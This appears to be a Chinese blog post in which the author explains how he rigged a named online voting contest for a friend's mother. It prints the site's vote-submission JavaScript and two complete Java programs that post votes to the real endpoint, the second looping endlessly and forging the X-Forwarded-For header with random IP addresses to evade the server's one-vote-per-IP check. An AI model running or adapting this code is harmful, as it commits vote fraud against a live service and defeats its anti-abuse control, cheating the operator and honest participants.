一个投票刷票小程序

在朋友圈看到一个朋友的母亲最近在参选一个活动,需要投票。和这位朋友交情不错,闲来无事帮他写个小程序刷票。

就是这个页面

http://m.fangxinbao.com/wx/voteDetail-161181.html? (已做处理)

一个投票刷票小程序_第1张图片

点击那个"给TA投一票"就可以投票。

经过测验,服务器端是通过ip检测来防止刷票的,那么通过挂代理就可以绕过检测了。

查看一下源码

给TA投一票

onlick="topolls('xxxx')"是重点

function toPolls(obj){
		$.ajax({  
	         type: "POST",  
	         url: "http://m.fangxinbao.com/wx/repersentVote.html",  
	         dataType: "html",  
	         data:  "userId="+obj,  
	         success: function (jsonStr) { 
	         	
	         	if(jsonStr=='1'){//已投票
	         		alert("今天您已经投过票了!");
	         	}else if(jsonStr=='2'){//投票成功
	         		alert("投票成功!");
	         		window.location.reload();
	         	}else {//异常
	         		alert("投票失败,有问题请联系微信公众号!");
	         	}
	        }  
	  	});

加载出来js,如何构造包一目了然

package crawler;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.RandomAccessFile;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;



public class shuapiao {

	public  static void main(String[] args) throws Exception{
	
	 	URL postUrl = new URL("http://m.fangxinbao.com/wx/repersentVote.html");
        HttpURLConnection connection = (HttpURLConnection) postUrl.openConnection();
        connection.setDoOutput(true);
        connection.setDoInput(true);
        connection.setRequestMethod("POST");
        connection.setUseCaches(false);
        connection.setInstanceFollowRedirects(true);
        connection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
        try {
        	connection.connect();
		} catch (Exception e) {
			// TODO: handle exception
			e.printStackTrace();
			connection.disconnect();  
		}
        
        DataOutputStream out = new DataOutputStream(connection.getOutputStream());
        String formdata = "userId=xxxx";
        out.writeBytes(formdata);
        out.flush();
        out.close(); 
        String linetoreturn = "";
        BufferedReader reader = null;
        try {
        	 reader = new BufferedReader(new InputStreamReader(connection.getInputStream(),"utf-8"));
            String line;
            while ((line = reader.readLine()) != null){	
            	System.out.println(line + "\n");
            }
             reader.close();
             connection.disconnect();
		} catch (Exception e) {
			// TODO: handle exception
			 e.printStackTrace();
			 if(reader!=null)
				 reader.close();
             connection.disconnect();
             System.out.println("Got an http Error!");      
		}	
	}
}


之后只需要不断切换就可以愉快的刷票了
一个投票刷票小程序_第2张图片


--第一次更新--

又发现服务器端对ip的检测只是检测http请求头中的ip,这样的话我们只需要伪造http header中的ip就可以了,实现面代理全自动刷票


package test;

import java.io.IOException;
import java.util.Random;

import org.apache.commons.httpclient.Header;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.methods.PostMethod;
public class Shuapiaole {

	public static void main(String[] args) throws InterruptedException {
		// TODO Auto-generated method stub
		while(true){
			HttpClient httpClient = new HttpClient();
			String url = "http://m.fangxinbao.com/wx/repersentVote.html";
			PostMethod postMethod = new PostMethod(url);
			//   填入各个表单域的值
			NameValuePair[] data = {
					new NameValuePair("userId", "xxxx"),
			};
			//   将表单的值放入postMethod中
			postMethod.setRequestBody(data);
			//   执行postMethod
			String s = getRandomIp();
			postMethod.setRequestHeader("x-forwarded-for",s);
			System.out.println(s);
			
			int statusCode = 0;
			try {
				statusCode = httpClient.executeMethod(postMethod);
				System.out.println(postMethod.getRequestBodyAsString());
			} catch (HttpException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			//   HttpClient对于要求接受后继服务的请求,象POST和PUT等不能自动处理转发
			//   301或者302
			if (statusCode == HttpStatus.SC_MOVED_PERMANENTLY || statusCode == HttpStatus.SC_MOVED_TEMPORARILY)
			{
				//   从头中取出转向的地址
				Header locationHeader = postMethod.getResponseHeader("location");
				String location = null;
				if (locationHeader != null) {
					location = locationHeader.getValue();
					System.out.println("The page was redirected to:" + location);
				}
				else {
					System.err.println("Location field value is null.");
				}
				return;
			}
			else
			{
				System.out.println(postMethod.getStatusLine());
				String str = "";
				str = postMethod.getResponseBodyAsString();        
				System.out.println(str);
			}
			postMethod.releaseConnection();
			int waitTime = (int)(Math.random()*4);
			for(int j = 0; j < waitTime; j++){
				System.out.print(". ");
				Thread.sleep(1000);
			}
			System.out.println("\n");
		}
		
		
	}
	
	public static String getRandomIp(){
        
        //ip范围
        int[][] range = {{607649792,608174079},//36.56.0.0-36.63.255.255
                         {1038614528,1039007743},//61.232.0.0-61.237.255.255
                         {1783627776,1784676351},//106.80.0.0-106.95.255.255
                         {2035023872,2035154943},//121.76.0.0-121.77.255.255
                         {2078801920,2079064063},//123.232.0.0-123.235.255.255
                         {-1950089216,-1948778497},//139.196.0.0-139.215.255.255
                         {-1425539072,-1425014785},//171.8.0.0-171.15.255.255
                         {-1236271104,-1235419137},//182.80.0.0-182.92.255.255
                         {-770113536,-768606209},//210.25.0.0-210.47.255.255
                         {-569376768,-564133889}, //222.16.0.0-222.95.255.255
        };
         
        Random rdint = new Random();
        int index = rdint.nextInt(10);
        String ip = num2ip(range[index][0]+new Random().nextInt(range[index][1]-range[index][0]));
        return ip;
    }
 
/*
     * 将十进制转换成ip地址
     */
    public static String num2ip(int ip) {
        int [] b=new int[4] ;
        String x = "";
         
        b[0] = (int)((ip >> 24) & 0xff);
        b[1] = (int)((ip >> 16) & 0xff);
        b[2] = (int)((ip >> 8) & 0xff);
        b[3] = (int)(ip & 0xff);
        x=Integer.toString(b[0])+"."+Integer.toString(b[1])+"."+Integer.toString(b[2])+"."+Integer.toString(b[3]); 
         
        return x; 
     }
	
}


你可能感兴趣的:(一个投票刷票小程序)